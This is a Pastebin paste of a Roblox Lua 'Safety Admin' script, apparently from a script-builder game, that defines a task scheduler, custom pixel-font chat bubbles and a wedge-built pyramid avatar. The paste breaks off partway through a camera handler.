MistaMagic

Safety Admin

Jul 18th, 2015
377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. β€”
  2. --
  3. local RunService = game:service'RunService'
  4. script.Parent=nil;
  5. local Camera = Workspace.CurrentCamera or nil
  6. local Lighting = game.Lighting
  7. local Player = game.Players.LocalPlayer
  8. local UserInterface = game:service'UserInputService'
  9. local RF = game.ReplicatedStorage:findFirstChild("GKAttachment") or nil
  10. local bannedlist = {"21506048","Dontnukeme"};
  11. local changecamonpossess = false
  12. local Debris = game:service'Debris'
  13. local Mouse = Player:GetMouse() or nil
  14. local Players = game.Players
  15. local chatAdornee = Player.Character.Head
  16. local RbxUtility = LoadLibrary("RbxUtility")
  17. local CMDS = {};
  18. local InsertService = game:service'InsertService'
  19. local math = {
  20.     abs = math.abs,
  21.     acos = math.acos,
  22.     asin = math.asin,
  23.     atan = math.atan,
  24.     atan2 = math.atan2,
  25.     ceil = math.ceil,
  26.     cos = math.cos,
  27.     cosh = math.cosh,
  28.     deg = math.deg,
  29.     exp = math.exp,
  30.     floor = math.floor,
  31.     fmod = math.fmod,
  32.     frexp = math.frexp,
  33.     huge = math.huge,
  34.     ldexp = math.ldexp,
  35.     log = math.log,
  36.     log10 = math.log10,
  37.     max = math.max,
  38.     min = math.min,
  39.     modf = math.modf,
  40.     phi = 1.618033988749895,
  41.     pi = math.pi,
  42.     pow = math.pow,
  43.     rad = math.rad,
  44.     random = math.random,
  45.     randomseed = math.randomseed,
  46.     sin = math.sin,
  47.     sinh = math.sinh,
  48.     sqrt = math.sqrt,
  49.     tan = math.tan,
  50.     tanh = math.tanh,
  51.     tau = 2 * math.pi
  52. }
  53.  
  54.  
  55. TaskScheduler = {};
  56.  
  57. local currentTime = 0
  58. local pairs = pairs
  59. local rbx_coroutine_create = coroutine.create
  60. local rbx_coroutine_resume = coroutine.resume
  61. local rbx_Wait = Wait
  62. local rbx_ypcall = ypcall
  63. local threads, swapThreads = {}, {}
  64. local function StartCoroutine(func, delay, ...)
  65.         if delay > 0 then
  66.                 rbx_Wait(delay)
  67.         end
  68.         local success, message = rbx_ypcall(func, ...)
  69.         if not success then
  70.                 print("Error in a TaskScheduler coroutine: "..message)
  71.         end
  72. end
  73. function TaskScheduler.GetCurrentTime()
  74.         return currentTime
  75. end
  76. function TaskScheduler.MainLoop(stepTime)
  77.         currentTime = currentTime + stepTime
  78.         threads, swapThreads = swapThreads, threads
  79.         local threshold = -0.5 * stepTime
  80.         for thread, resumeTime in pairs(swapThreads) do
  81.                 local remainingTime = currentTime - resumeTime
  82.                 if remainingTime >= threshold then
  83.                         swapThreads[thread] = nil
  84.                         local success, message = coroutine.resume(thread, remainingTime, currentTime)
  85.                         if not success then
  86.                                 print("Error in a TaskScheduler custom thread: "..message)
  87.                         end
  88.                 end
  89.         end
  90.         threads, swapThreads = swapThreads, threads
  91.         for thread, resumeTime in pairs(swapThreads) do
  92.                 threads[thread], swapThreads[thread] = resumeTime, nil
  93.         end
  94. end
  95. -- TODO: add stack trace info to scheduling functions?
  96. function TaskScheduler.Schedule(t, f, ...)
  97.         coroutine.resume(coroutine.create(StartCoroutine), f, t, ...)
  98. end
  99. function TaskScheduler.Start(f, ...)
  100.         coroutine.resume(coroutine.create(StartCoroutine), f, 0, ...)
  101. end
  102. function TaskScheduler.ScheduleCustomThread(t, f)
  103.         threads[coroutine.create(f)] = currentTime + t
  104. end
  105. function TaskScheduler.Wait(duration)
  106.         duration = tonumber(duration) or 0
  107.         threads[coroutine.running()] = currentTime + duration
  108.         local remainingTime, currentTime = coroutine.yield()
  109.         return remainingTime + duration, currentTime
  110. end
  111. local success, player = Players.LocalPlayer
  112. if success and player then
  113.         RunService.RenderStepped:connect(function()
  114.                 TaskScheduler.MainLoop(1 / 60)
  115.         end)
  116. else
  117.         RunService.Stepped:connect(function()
  118.                 TaskScheduler.MainLoop(1 / 30)
  119.         end)
  120. end
  121.  
  122. ChatBubble = {};
  123.  
  124. local FONT_CUSTOM_A_SRC, FONT_CUSTOM_A, TextAlignment, LoadFixedFont, LoadFont, DrawTextNetwork, DrawMultilineTextNetwork, ConfigureChatBubble,
  125.  
  126. CreateChatBubble, WrapText, chat_bubbles
  127. FONT_CUSTOM_A_SRC = "03E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8000000000000000820820020001451400000000053E53E50000872870AF00000CB4216980008518AA4680008208000000004208208100010208208400000918900000000208F88200000000008210000000F8000000000000820000210420840001C9AACA270000860820870001C884210F8003E09C0A270000431493E10003E83C0A270001C83C8A270003E08420820001C89C8A270001C8A278270000820000820000020800821000019881818000003E03E000000C0C08CC0001C88420020001C8AABA070001C8A2FA288003C8BC8A2F0001C8A082270003C8A28A2F0003E83C820F8003E83C82080001C8A09A27800228BE8A288001C2082087000020820A2700".."022938922880020820820F80022DAAAA2880022CAA9A288001C8A28A270003C8A2F2080001C8A28AC58003C8A2F2488001C81C0A270003E2082082000228A28A27000228A28942000228AAAB688002250852288002289420820003E084210F8000E208208380010208104080038208208E00008522000000000000000F800102040000000007027A2780820838924E0000072082270008208E492380000722FA070000C41C4104000007A278270002082CCA288000801820870000400C114200020828C28900018208208700000D2AAAAA80000B328A28800007228A2700000E2493882000039248E082000B328208000007A0702F0000870820A1000008A28A66800008A28942000008AAAAA500000894214880000894210800000F84210F80188210208180008208208200C08204208C0000001AB0000003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F80".."03E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F80".."03E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F8003E8A28A2F80"
  128. FONT_CUSTOM_A = {}
  129.  
  130. ChatBubble.THEME = {}
  131. ChatBubble.THEME.AQUA = {
  132.         Name = "Aqua",
  133.         Background = Color3.new(0, 1 / 3, 0.5),
  134.         Foreground = Color3.new(2 / 3, 1, 1)
  135. }
  136. ChatBubble.THEME.CLASSIC = {
  137.         Name = "Classic",
  138.         Background = Color3.new(0, 0, 0),
  139.         Foreground = Color3.new(1, 1, 1)
  140. }
  141.  
  142. ChatBubble.THEME.KAYAVEN = {
  143.         Name = "Kayaven",
  144.         Background = Color3.new(0, 0, 0),
  145.         Foreground = Color3.new(0, 1, 0)
  146. }
  147. ChatBubble.THEME.CRIMSON = {
  148.         Name = "Crimson",
  149.         Background = Color3.new(0, 0, 0),
  150.         Foreground = Color3.new(0.9, 0, 0)
  151. }
  152. ChatBubble.THEME.GRAPE = {
  153.         Name = "Grape",
  154.         Background = Color3.new(0.25, 0, 0.25),
  155.         Foreground = Color3.new(1, 2 / 3, 1)
  156. }
  157. ChatBubble.THEME.LIBERATION = {
  158.         Name = "Liberation",
  159.         Background = Color3.new(1 / 6, 3 / 7, 3 / 7),
  160.         Foreground = Color3.new(1, 1, 1)
  161. }
  162. ChatBubble.THEME.PASSION = {
  163.         Name = "Passion",
  164.         Background = Color3.new(0.5, 0, 0),
  165.         Foreground = Color3.new(1, 1, 1)
  166. }
  167. ChatBubble.THEME.PURPLE = {
  168.         Name = "Purple",
  169.         Background = Color3.new(0.25, 0, 0.25),
  170.         Foreground = Color3.new(1, 1, 1)
  171. }
  172. ChatBubble.THEME.RAINBOW = {
  173.         Name = "Rainbow",
  174.         Background = function(bubble_info)
  175.                 local billboard, frame = bubble_info[5], bubble_info[6]
  176.                 TaskScheduler.Start(function()
  177.                         while billboard:IsDescendantOf(Workspace) do
  178.                                 local red, green, blue = Utility.GetRainbowRGB(tick())
  179.                                 frame.BackgroundColor3 = Color3.new(0.6 * red, 0.6 * green, 0.65 * blue)
  180.                                 RunService.Stepped:wait()
  181.                         end
  182.                 end)
  183.         end,
  184.         Foreground = Color3.new(1, 1, 1)
  185. }
  186. ChatBubble.THEME.TEAL = {
  187.         Name = "Teal",
  188.         Background = Color3.new(0, 1 / 3, 0.5),
  189.         Foreground = Color3.new(1, 1, 1)
  190. }
  191.  
  192. function ChatBubble.GetTheme()
  193.         return ChatBubble.theme_info
  194. end
  195. function ChatBubble.SetTheme(theme_info)
  196.         if type(theme_info) == "string" then
  197.                 theme_info = string.lower(theme_info)
  198.                 for key, info in pairs(ChatBubble.THEME) do
  199.                         if info.Name:lower() == theme_info:lower() then
  200.                                 ChatBubble.SetTheme(info)
  201.                                 break
  202.                         end
  203.                 end
  204.                 return
  205.         end
  206.         ChatBubble.theme_info = theme_info
  207.         ChatBubble.background_color = theme_info.Background
  208.         ChatBubble.font = LoadFont(ChatBubble.FONT_DEFAULT, theme_info.Foreground)
  209.         print("Theme has been set to "..theme_info.Name.." in ChatBubble")
  210. end
  211.  
  212. do
  213. local floor = math.floor
  214. local max = math.max
  215. local asc = string.byte
  216. local chr = string.char
  217. local find = string.find
  218. local gmatch = string.gmatch
  219. local sub = string.sub
  220. local insert = table.insert
  221. local type = type
  222. local unpack = unpack
  223.  
  224. local PopIntegerBit
  225.  
  226. TextAlignment = setmetatable({
  227.         [0] = 0,
  228.         [1] = 1,
  229.         [2] = 2,
  230.         Left = 0,
  231.         Center = 1,
  232.         Right = 2
  233. }, {
  234.         __call = function(self, ...)
  235.                 local argc = #{...}
  236.                 if argc == 0 then
  237.                         return 0
  238.                 else
  239.                         local arg = (...)
  240.                         local value = rawget(self, arg)
  241.                         if value then
  242.                                 return value
  243.                         else
  244.                                 local arg_type = type(arg)
  245.                                 error("Invalid value" .. ((arg_type == "number") and (" " .. arg) or ((arg_type == "string") and (" \"" .. arg .. "\"") or
  246.  
  247. "")) .. " for enum TextAlignment")
  248.                         end
  249.                 end
  250.         end
  251. })
  252.  
  253. function PopIntegerBit(value, bit)
  254.         if value >= bit then
  255.                 return 1, value - bit
  256.         else
  257.                 return 0, value
  258.         end
  259. end
  260. function LoadFixedFont(dest, src, height, width)
  261.         local n = #src / 64 - 1
  262.         local bit_index = 0
  263.         local symbol_bits = width * height
  264.         for i = 0, 255 do
  265.                 local char_data = {}
  266.                 for j = 1, height do
  267.                         char_data[j] = {}
  268.                 end
  269.                 dest[i] = char_data
  270.         end
  271.         for i = 1, #src do
  272.                 local buffer = tonumber(sub(src, i, i), 16)
  273.                 for j = 1, 4 do
  274.                         local code = floor(bit_index / symbol_bits)
  275.                         local row = floor(bit_index / width) % height + 1
  276.                         local column = bit_index % width + 1
  277.                         dest[code][row][column], buffer = PopIntegerBit(buffer, 8)
  278.                         buffer = buffer * 2
  279.                         bit_index = bit_index + 1
  280.                 end
  281.         end
  282. end
  283. function LoadFont(font_data, color)
  284.         local font_obj = {}
  285.         for character, char_data in pairs(font_data) do
  286.                 local code = character
  287.                 if type(code) ~= "number" then
  288.                         code = asc(character)
  289.                 end
  290.                 local height = #char_data
  291.                 local width = #char_data[1]
  292.                 local pixel_h = 1 / height
  293.                 local pixel_w = 1 / width
  294.                 local pixel_size = UDim2.new(pixel_w, 0, pixel_h, 0)
  295.                 local frame = Instance.new("Frame")
  296.                 frame.BackgroundTransparency = 1
  297.                 frame.Name = ""
  298.                 for y = 1, height do
  299.                         local row = char_data[y]
  300.                         for x = 1, width do
  301.                                 local opacity = row[x]
  302.                                 if opacity ~= 0 then
  303.                                         local pixel = Instance.new("Frame", frame)
  304.                                         pixel.BackgroundColor3 = color
  305.                                         pixel.BorderSizePixel = 0
  306.                                         pixel.Name = ""
  307.                                         pixel.Position = UDim2.new(x * pixel_w, 0, y * pixel_h, 0) - pixel_size
  308.                                         pixel.Size = pixel_size -- + UDim2.new(0, 0, 0, 1) -- correction
  309.                                         -- ^ never mind that correction, fixed by changing font size to 12x16 instead of 13x17
  310.                                         if opacity then
  311.                                                 pixel.BackgroundTransparency = 1 - opacity
  312.                                         end
  313.                                 end
  314.                         end
  315.                 end
  316.                 font_obj[code] = {frame, height, width}
  317.         end
  318.         return font_obj
  319. end
  320. function DrawTextNetwork(text, font, size, delay_offset)
  321.         if #text == 0 then
  322.                 text = " "
  323.         end
  324.         local frame = Instance.new("Frame")
  325.         frame.BackgroundTransparency = 1
  326.         frame.BorderSizePixel = 0
  327.         local objects = {}
  328.         local length = #text
  329.         local height = 0
  330.         local width = 0
  331.         for i = 1, length do
  332.                 local character = sub(text, i, i)
  333.                 local code = asc(character)
  334.                 local char_data = assert(font[code] or FONT_SYMBOL_MISSING, "FONT ERROR: '" .. character .. "' (" .. code .. ") not found")
  335.                 local char_proto, char_h, char_w = unpack(char_data)
  336.                 objects[i] = char_data
  337.                 height = max(char_h, height)
  338.                 width = width + char_w
  339.         end
  340.         local offset = 0
  341.         local punctuation_delay = 0
  342.         for i = 1, length do
  343.                 delay(delay_offset + (i + punctuation_delay - 1) / 30, function()
  344.                         local char_data = objects[i]
  345.                         local char_proto, char_h, char_w = unpack(char_data)
  346.                         local char_obj = char_proto:Clone()
  347.                         char_obj.Position = UDim2.new(offset / width, 0, 0, 0)
  348.                         char_obj.Size = UDim2.new(char_w / width, 0, 1, 0)
  349.                         char_obj.Parent = frame
  350.                         offset = offset + char_w
  351.                 end)
  352.                 local character = sub(text, i, i)
  353.                 if character == "." then
  354.                         punctionation_delay = punctuation_delay + 3
  355.                 elseif character == "?" or character == "!" then
  356.                         punctionation_delay = punctuation_delay + 2
  357.                 elseif character == ";" or character == "~" then
  358.                         punctionation_delay = punctuation_delay + 1
  359.                 end
  360.         end
  361.         local ratio = (height == 0) and (0) or (width / height)
  362.         frame.Size = UDim2.new(size.X.Scale * ratio, size.X.Offset * ratio, size.Y.Scale, size.Y.Offset)
  363.         return frame, height, width, (length + punctuation_delay) / 30
  364. end
  365. function DrawMultilineTextNetwork(text, font, size, delay_offset, ...)
  366.         local align = TextAlignment(...)
  367.         local frame = Instance.new("Frame")
  368.         frame.BackgroundTransparency = 1
  369.         frame.BorderSizePixel = 0
  370.         local height = 0
  371.         local width = 0
  372.         local objects = {}
  373.         for line in gmatch(text .. "\n", "([^\n]*)\n") do
  374.                 local line_obj, line_h, line_w, line_delay = DrawTextNetwork(line, font, size, delay_offset)
  375.                 insert(objects, {line_obj, line_h, line_w})
  376.                 height = height + line_h
  377.                 width = max(line_w, width)
  378.                 delay_offset = delay_offset + line_delay
  379.         end
  380.         local offset = 0
  381.         for index, line_data in ipairs(objects) do
  382.                 local line_obj, line_h, line_w = unpack(line_data)
  383.                 local align_offset
  384.                 if align == TextAlignment.Left then
  385.                         align_offset = 0
  386.                 elseif align == TextAlignment.Center then
  387.                         align_offset = 0.5 - line_w / width / 2
  388.                 elseif align == TextAlignment.Right then
  389.                         align_offset = 1 - line_w / width
  390.                 end
  391.                 line_obj.Position = UDim2.new(align_offset, 0, offset / height, 0)
  392.                 line_obj.Parent = frame
  393.                 offset = offset + line_h
  394.         end
  395.         local line_count = #objects
  396.         local ratio = (height == 0) and (0) or (line_count * width / height)
  397.         frame.Size = UDim2.new(size.X.Scale * ratio, size.X.Offset * ratio, size.Y.Scale * line_count, size.Y.Offset * line_count)
  398.         return frame, height, width
  399. end
  400. end
  401.  
  402. LoadFixedFont(FONT_CUSTOM_A, FONT_CUSTOM_A_SRC, 8, 6)
  403. ChatBubble.FONT_DEFAULT = FONT_CUSTOM_A
  404. ChatBubble.SetTheme("Rainbow")
  405.  
  406. chat_bubbles = {}
  407.  
  408. function CreateChatBubble(bubble_info)
  409.         local creation_time, text, backup = bubble_info[1], bubble_info[2], bubble_info[8]
  410.         local billboard, frame, label
  411.         if backup and false then
  412.                 billboard = backup:Clone()
  413.                 frame = billboard.Frame
  414.                 label = frame.Label
  415.                 bubble_info[5] = billboard
  416.                 bubble_info[6] = frame
  417.                 bubble_info[7] = label
  418.                 billboard.Parent = Workspace
  419.         else
  420.                 label = DrawMultilineTextNetwork(text, bubble_info[9], UDim2.new(0, 12, 0, 16), creation_time - time(), "Center")
  421.                 label.Name = "Label"
  422.                 label.Position = UDim2.new(0, 16, 0, 16)
  423.                 billboard = Instance.new("BillboardGui", Workspace)
  424.                 billboard.Adornee = chatAdornee
  425.                 billboard.AlwaysOnTop = true
  426.                 billboard.Size = UDim2.new(label.Size.X.Scale, label.Size.X.Offset + 32, label.Size.Y.Scale, label.Size.Y.Offset + 32)
  427.                 billboard.SizeOffset = Vector2.new(0, 0)
  428.                 billboard.StudsOffset = Vector3.new(0, 1, 0)
  429.                 frame = Instance.new("Frame", billboard)
  430.                 bubble_info[5] = billboard
  431.                 bubble_info[6] = frame
  432.                 bubble_info[7] = label
  433.                 local background_color = bubble_info[10]
  434.                 if type(background_color) == "function" then
  435.                         background_color(bubble_info)
  436.                 else
  437.                         frame.BackgroundColor3 = background_color
  438.                 end
  439.                 frame.BackgroundTransparency = 0.3
  440.                 frame.BorderSizePixel = 0
  441.                 frame.ClipsDescendants = true
  442.                 frame.Name = "Frame"
  443.                 frame.Size = UDim2.new(1, 0, 0, 0)
  444.                 label.Parent = frame
  445.                 -- bubble_info[8] = billboard:Clone()
  446.         end
  447. end
  448. local tween_time = 0.3
  449. function ConfigureChatBubble(bubble_info)
  450.         local creation_time, destruction_time, billboard, frame = bubble_info[1], bubble_info[3], bubble_info[5], bubble_info[6]
  451.         if not billboard or billboard.Parent ~= workspace then
  452.                 CreateChatBubble(bubble_info)
  453.                 billboard, frame = bubble_info[5], bubble_info[6]
  454.         end
  455.         if billboard.Adornee ~= chatAdornee then
  456.                 billboard.Adornee = chatAdornee
  457.         end
  458.         local current_time = time()
  459.         local elapsed_time = current_time - creation_time
  460.         local remaining_time = destruction_time - current_time
  461.         if remaining_time < 0 then
  462.                 bubble_info[4] = false
  463.                 billboard:Destroy()
  464.                 return false
  465.         elseif remaining_time < tween_time then
  466.                 local tween_progress = math.sin(remaining_time * math.pi / (tween_time * 2))
  467.                 frame.Size = UDim2.new(1, 0, tween_progress, 0)
  468.         elseif elapsed_time < tween_time then
  469.                 local tween_progress = math.sin(elapsed_time * math.pi / (tween_time * 2))
  470.                 frame.Size = UDim2.new(1, 0, tween_progress, 0)
  471.         elseif frame.Size ~= UDim2.new(1, 0, 1, 0) then
  472.                 frame.Size = UDim2.new(1, 0, 1, 0)
  473.         end
  474.         return true
  475. end
  476. function ChatBubble.MainLoop()
  477.         local offset = 0
  478.         local removing = {}
  479.         for index, bubble_info in ipairs(chat_bubbles) do
  480.                 if not ConfigureChatBubble(bubble_info) then
  481.                         removing[#removing + 1] = index - #removing
  482.                 else
  483.                         local billboard, frame = bubble_info[5], bubble_info[6]
  484.                         local billboard_h = billboard.Size.Y.Offset
  485.                         local bubble_h = frame.Size.Y.Scale * billboard_h
  486.                         offset = 8 + offset + bubble_h
  487.                         billboard.SizeOffset = Vector2.new(0, offset / billboard_h - 0.5)
  488.                 end
  489.         end
  490.         for index, bubble_index in ipairs(removing) do
  491.                 table.remove(chat_bubbles, bubble_index)
  492.         end
  493.         RunService.Stepped:wait()
  494. end
  495. function WrapText(text, character_limit, line_length_limit)
  496.         if #text > character_limit then
  497.                 text = string.sub(text, 1, character_limit - 3) .. "..."
  498.         end
  499.         local text_length = #text
  500.         local line_length = 0
  501.         local i = 0
  502.         while i <= text_length do
  503.                 i = i + 1
  504.                 local character = string.sub(text, i, i)
  505.                 if character == "\t" then
  506.                         local tabulation_size = 4 - line_length % 4
  507.                         line_length = line_length + tabulation_size
  508.                         if line_length >= line_length_limit then
  509.                                 tabulation_size = line_length - line_length_limit
  510.                                 line_length = 0
  511.                                 text_length = text_length + tabulation_size
  512.                                 text = string.sub(text, 1, i - 1) .. string.rep(" ", tabulation_size) .. "\n" .. string.sub(text, i + 1)
  513.                                 i = i + tabulation_size + 1
  514.                         else
  515.                                 text_length = text_length + tabulation_size - 1
  516.                                 text = string.sub(text, 1, i - 1) .. string.rep(" ", tabulation_size) .. string.sub(text, i + 1)
  517.                                 i = i + tabulation_size - 1
  518.                         end
  519.                 elseif character == "\n" then
  520.                         line_length = 0
  521.                 else
  522.                         line_length = line_length + 1
  523.                         if line_length >= line_length_limit then
  524.                                 local k = i - line_length + 1
  525.                                 local success = false
  526.                                 for j = i, k, -1 do
  527.                                         if string.match(string.sub(text, j, j), "[ \t]") then
  528.                                                 text = string.sub(text, 1, j - 1) .. "\n" .. string.sub(text, j + 1)
  529.                                                 text_length = text_length + 1
  530.                                                 success = true
  531.                                                 break
  532.                                         end
  533.                                 end
  534.                                 if not success then
  535.                                         text = string.sub(text, 1, i) .. "\n" .. string.sub(text, i + 1)
  536.                                         text_length = text_length + 1
  537.                                 end
  538.                                 i = i + 1
  539.                                 line_length = 0
  540.                         end
  541.                 end
  542.         end
  543.         if #text > character_limit then
  544.                 text = string.sub(text, 1, character_limit - 3) .. "..."
  545.         end
  546.         return text
  547. end
  548. function ChatBubble.Create(text, theme)
  549.         local text = WrapText(text, 200, 30)
  550.         local creation_time = time()
  551.         local bubble_info = {creation_time, text, creation_time + 6 + #text / 15, true}
  552.         local previousTheme
  553.         if theme then
  554.                 previousTheme = ChatBubble.GetTheme()
  555.                 ChatBubble.SetTheme(theme)
  556.         end
  557.         bubble_info[9] = ChatBubble.font
  558.         bubble_info[10] = ChatBubble.background_color
  559.         if previousTheme then
  560.                 ChatBubble.SetTheme(previousTheme)
  561.         end
  562.         table.insert(chat_bubbles, 1, bubble_info)
  563. end
  564. TaskScheduler.Start(function()
  565.         while true do
  566.                 ChatBubble.MainLoop()
  567.         end
  568. end)
  569.  
  570. PyramidCharacter = {};
  571.  
  572. local stock_triangle = Instance.new("WedgePart")
  573. stock_triangle.Anchored = true
  574. stock_triangle.BottomSurface = "Smooth"
  575. stock_triangle.FormFactor = "Custom"
  576. stock_triangle.Locked = true
  577. stock_triangle.TopSurface = "Smooth"
  578. local stock_triangle_mesh = Instance.new("SpecialMesh", stock_triangle)
  579. stock_triangle_mesh.MeshType = "Wedge"
  580. local triangles = {}
  581. function PyramidCharacter.CreateTriangle(v1, v2, v3, properties, parent, index)
  582.         local triangleInfo = triangles[index]
  583.         local side1 = (v1 - v2).magnitude
  584.         local side2 = (v2 - v3).magnitude
  585.         local side3 = (v3 - v1).magnitude
  586.         local sqrside1 = side1 * side1
  587.         local sqrside2 = side2 * side2
  588.         local sqrside3 = side3 * side3
  589.         if sqrside3 + sqrside1 == sqrside2 then
  590.                 v1, v2, v3 = v1, v2, v3
  591.         elseif sqrside1 + sqrside2 == sqrside3 then
  592.                 v1, v2, v3 = v2, v3, v1
  593.         elseif sqrside2 + sqrside3 == sqrside1 then
  594.                 v1, v2, v3 = v3, v1, v2
  595.         elseif sqrside1 >= sqrside2 and sqrside1 >= sqrside3 then
  596.                 v1, v2, v3 = v1, v2, v3
  597.         elseif sqrside2 >= sqrside3 and sqrside2 >= sqrside1 then
  598.                 v1, v2, v3 = v2, v3, v1
  599.         else
  600.                 v1, v2, v3 = v3, v1, v2
  601.         end
  602.         local model, part1, part2, mesh1, mesh2
  603.         if triangleInfo then
  604.                 model, part1, part2, mesh1, mesh2 = unpack(triangleInfo)
  605.                 if not (model.Parent == parent and part1.Parent == model and part2.Parent == model and mesh1.Parent == part1 and mesh2.Parent == part2) then
  606.                         if model.Parent then
  607.                                 model:Destroy()
  608.                         end                    
  609.                         model = nil
  610.                 end
  611.         else
  612.                 triangleInfo = {}
  613.                 triangles[index] = triangleInfo
  614.         end
  615.         if not model then
  616.                 model = Instance.new("Model")
  617.                 part1 = stock_triangle:Clone()
  618.                 part2 = stock_triangle:Clone()
  619.                 mesh1 = part1.Mesh
  620.                 mesh2 = part2.Mesh
  621.                 part1.Parent = model
  622.                 part2.Parent = model
  623.                 triangleInfo[1] = model
  624.                 triangleInfo[2] = part1
  625.                 triangleInfo[3] = part2
  626.                 triangleInfo[4] = mesh1
  627.                 triangleInfo[5] = mesh2
  628.         end
  629.         for key, value in pairs(properties) do
  630.                 part1[key] = value
  631.                 part2[key] = value
  632.         end
  633.         local cframe = CFrame.new(v1, v2)
  634.         local relpos = cframe:pointToObjectSpace(v3)
  635.         cframe = cframe * CFrame.fromEulerAnglesXYZ(0, 0, -math.atan2(relpos.x, relpos.y))
  636.         local rel1 = cframe:pointToObjectSpace(v1)
  637.         local rel2 = cframe:pointToObjectSpace(v2)
  638.         local rel3 = cframe:pointToObjectSpace(v3)
  639.         local height = rel3.y
  640.         local width1 = rel3.z
  641.         local width2 = rel2.z - rel3.z
  642.         local relcenter1 = Vector3.new(0, height / 2, width1 / 2)
  643.         local center1 = cframe:pointToWorldSpace(relcenter1)
  644.         local relcenter2 = Vector3.new(0, height / 2, width2 / 2 + width1)
  645.         local center2 = cframe:pointToWorldSpace(relcenter2)
  646.         height = math.abs(height)
  647.         width1 = math.abs(width1)
  648.         width2 = math.abs(width2)
  649.         if not part1.Anchored then
  650.                 part1.Anchored = true
  651.         end
  652.         part1.Size = Vector3.new(0.2, height, width1)
  653.         part1.CFrame = cframe * CFrame.fromEulerAnglesXYZ(0, math.pi, 0) - cframe.p + center1  
  654.         mesh1.Scale = Vector3.new(0, height / part1.Size.y, width1 / part1.Size.z)
  655.         if not part2.Anchored then
  656.                 part2.Anchored = true
  657.         end
  658.         part2.Size = Vector3.new(0.2, height, width1)
  659.         part2.CFrame = cframe - cframe.p + center2
  660.         mesh2.Scale = Vector3.new(0, height / part1.Size.y, width2 / part2.Size.z)
  661.         model.Parent = parent
  662.         return model
  663. end
  664. PyramidCharacter.head_properties = {BrickColor = BrickColor.new(Color3.new(1, 1, 1)), Transparency = 0.5}
  665. PyramidCharacter.head_radius = math.pi
  666. PyramidCharacter.center = CFrame.new(0, 10, 0)
  667. PyramidCharacter.point1 = Vector3.new()
  668. PyramidCharacter.point2 = Vector3.new()
  669. PyramidCharacter.point3 = Vector3.new()
  670. PyramidCharacter.point4 = Vector3.new()
  671. PyramidCharacter.core_mesh_scale = Vector3.new(0.833, 0.833, 0.833)
  672. PyramidCharacter.visible = false
  673. function PyramidCharacter.Teleport(location)
  674.         PyramidCharacter.point1 = location
  675.         PyramidCharacter.point2 = location
  676.         PyramidCharacter.point3 = location
  677.         PyramidCharacter.point4 = location
  678. end
  679. local stock_core = Instance.new("Part")
  680. stock_core.Anchored = true
  681. stock_core.BottomSurface = "Smooth"
  682. stock_core.Color = Color3.new(1, 1, 1)
  683. stock_core.FormFactor = "Custom"
  684. stock_core.Locked = true
  685. stock_core.Name = "CubePyramid"
  686. stock_core.Size = Vector3.new(0.5, 0.5, 0.5)
  687. stock_core.TopSurface = "Smooth"
  688. PyramidCharacter.stock_core = stock_core
  689. PyramidCharacter.core = stock_core:Clone()
  690. PyramidCharacter.Archivable = false
  691. PyramidCharacter.core_mesh = Instance.new("BlockMesh", core)
  692. PyramidCharacter.core_lights = {}
  693. PyramidCharacter.coreLightCount = 1
  694. for index = 1, PyramidCharacter.coreLightCount do
  695.         PyramidCharacter.core_lights[index] = Instance.new("PointLight", core)
  696. end
  697. PyramidCharacter.camera_distance = (Camera.Focus.p - Camera.CoordinateFrame.p).magnitude
  698. PyramidCharacter.camera_position = Vector3.new()
  699. Camera.Changed:connect(function(property)
  700.         if PyramidCharacter.visible then
  701.                 if property == "CoordinateFrame" then
  702.                         local cframe, focus = Camera.CoordinateFrame, Camera.Focus
  703.                         local eventTime = time()
  704.                         local connection
  705.                         connection = Camera.Changed:connect(function()
  706.                                 connection:disconnect()
  707.                                 if eventTime == time() and Camera.Focus ~= focus then
